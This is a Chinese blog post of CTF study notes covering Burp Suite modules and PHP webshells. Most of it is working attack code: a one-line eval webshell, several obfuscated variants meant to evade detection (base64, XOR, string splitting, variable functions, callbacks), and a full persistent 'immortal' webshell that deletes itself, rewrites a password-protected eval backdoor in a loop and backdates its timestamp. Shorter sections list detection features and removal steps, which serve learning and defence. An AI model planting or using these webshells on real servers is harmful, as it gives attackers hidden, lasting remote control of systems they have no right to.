首页 > 技术文章 > Web学习第二天

junun 2021-07-23 23:48 原文

Burp suite

  1. Target(目标)-显示目标目录结构
  2. Proxy(代理)-拦截HTTP/S的代理服务器,拦截,查看,修改浏览器与目标之间的数据流
  3. Spider(爬虫)-枚举应用程序的内容和功能
  4. Scanner(扫描器)-自动发现web应用程序的安全漏洞
  5. Intruder(入侵)-对web进行自动化攻击
  6. Repeater(中继器)-手动操作出发单独HTTP请求,并分析响应
  7. Sequencer(会话)-分析令牌和数据项
  8. Decoder(解码器)-解码器
  9. Comparer(对比)-得到两个数据进行比较
  10. Extender(拓展)-加载拓展
  11. Options(设置)-设置
  12. Alert(日志)—

一句话木马

<?php@eval($_POST['cmd']);?>	//用post方法获取cmd变量,把接收到的字符串交给eval,eval将它当作php代码执行

eval和assert的区别

相同点:都能把字符串作为PHP代码执行

不同点:eval()不能别可变函数调用,eval()函数实际是一个语言构造器,属于PHP语言内部关键字

注:php7.1以上assert被废弃

木马变形

一:隐藏关键字

//绕过php代码标志<?的限制
<script language="php">@eval($_POST['X'])</script>
//拆分拼接
    <?php
    $arr=explode(",","a,s,e,r,t");//字符串打散为数组
	$payload=$arr[1].$arr[2].$arr[2].$arr[3].$arr[4].$arr[5];//拼接成assert
	//php版本要求:<=7.0
	@$payload(@$_GET['x']);
	?>
//编码
        <?php
        $a=base64_decode("YXNzZxJO");
		@$a($_POST('cmd'));
		?>
//随机异或
         <?php
         $a="Y"^"8";//a
		$b="T"^"'";//s
		$c="*"^"O";//e
		$d="M"^"?";//r
		$e="-"^"Y";//t
		$payload=$a.$b.$b.$c.$d.$e;//拼接成assert
		?>      
//可变函数
        <?php
        @$_REQUEST['e'](@$_REQUEST['x']);//传入e=assert&x=command
		?>    
//可变变量
        <?php
        $a='assert';
		$b='a';//$$b=$a='assert'
		$$b($_POST['x']);//assert($_POST['x'])
		?>                                       

二:回调函数

PHP是将函数以String形势传递的

call_user_func($callback,$parameter)
    $callback:被调用的回调函数	$parameter:0个或以上的参数,被传入回调函数
        <?php
        @call_user_func($_GET['id'],$_POST['a']);//传入id=eval&a=command
		?>
             

三:木马的使用

1.执行系统命令

system()--执行外部程序,并显示输出

passthru()--执行外部程序并显示原始输出

exec()--执行一个外部程序,不显示结果,echo返回结果的最后一行

shell_exec()或' '--通过shell环境执行命令,需要echo

2.读文件:

file_get_contents -将整个文件读入为一个字符串

file()-把整个文件读入一个数组中

readfile-读取一个文件,并写入到输出缓冲

3.遍历目录

scandir()函数返回一个指定目录中的文件和目录的数组

四:木马的特征与查杀

代码执行函数:

- eval

- assert

- pre_replace

- create_function

- 回调函数 call_user_func、call_user_func_array、register_tick_function、array_filter等等

- ...................

命令执行函数:

- exec()--执行一个外部程序

- passthru()--执行外部程序并且显示原始输出

- proc_open()--执行一个命令,并且打开用来输入/输出的文件指针

- shell_exec()或 --通过shell环境执行命令

- system()--执行外部程序,并显示输出

- popen()--通过参数传递一条命令,并对popen打开的文件执行

文件操作函数:

- file_ get_contents 一将整个文件读入为一个字符串

- file_ put_ contents 一将一个字符串写入文件

- file()一把整个文件读入一个数组中

- fopen一打开文件或者URL

- move_ uploaded file 一将上传的文件移动到新位置

- readfile一读取一个文件,并写入到输出缓冲

- rename一重命名一个文件或目录

- rmdir一删除目录

- unlink & delete 一删除文件

包含函数:

- require、require_once

- include、include_once

特殊函数:

- phpinfo

- 变量覆盖 parse_str、extract

- .....................

五:不死马

不死马即内存马,它无文件,但程序会永久的运行在PHP进程中,无限执行,很隐蔽不易被发现,也不容易被删除。

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.index1.php';
$code = '<?php if(md5($_POST["pass"])=="5c44d3ed7462245f57b37f8fe2a3d5de"){@eval($_POST["cmd"]);} ?>';
//pass=nepnep 用法:pass=nepnep&cmd=command
while (1){
	file_put_contents($file,$code);
	system('touch -m -d "2018-12-01 09:10:12" .index1.php');
	usleep(5000);
}
?>
    /*
    ignore_user_abort(true):此函数用来设置 客户机断开后是否会终止脚本的执行,设置成true,客户机断开后脚本仍然会执行。

set_time_limit(0):设置脚本最大执行时间,设为0表示没有限制。

unlink(__FILE__): 删除文件本身,起到隐蔽自身的作用。

usleep():延迟执行当前脚本若干微秒。
注:
pass参数使用了MD5加密,防止木马被他人利用。

    */

不死马的查杀:

1、重启服务,比如php 等web服务。

2、创建一个和不死马同名的文件夹。

3、删除相应进程。查出不死马进程PID后,用命令kill -9 PID 杀掉进程。

4、竞争写入删除不死马的文件,usleep的时间必须要小于不死马的延迟时间才会有效。

参考:涅普计划-ctf入门课_哔哩哔哩_bilibili

暑假存档

推荐阅读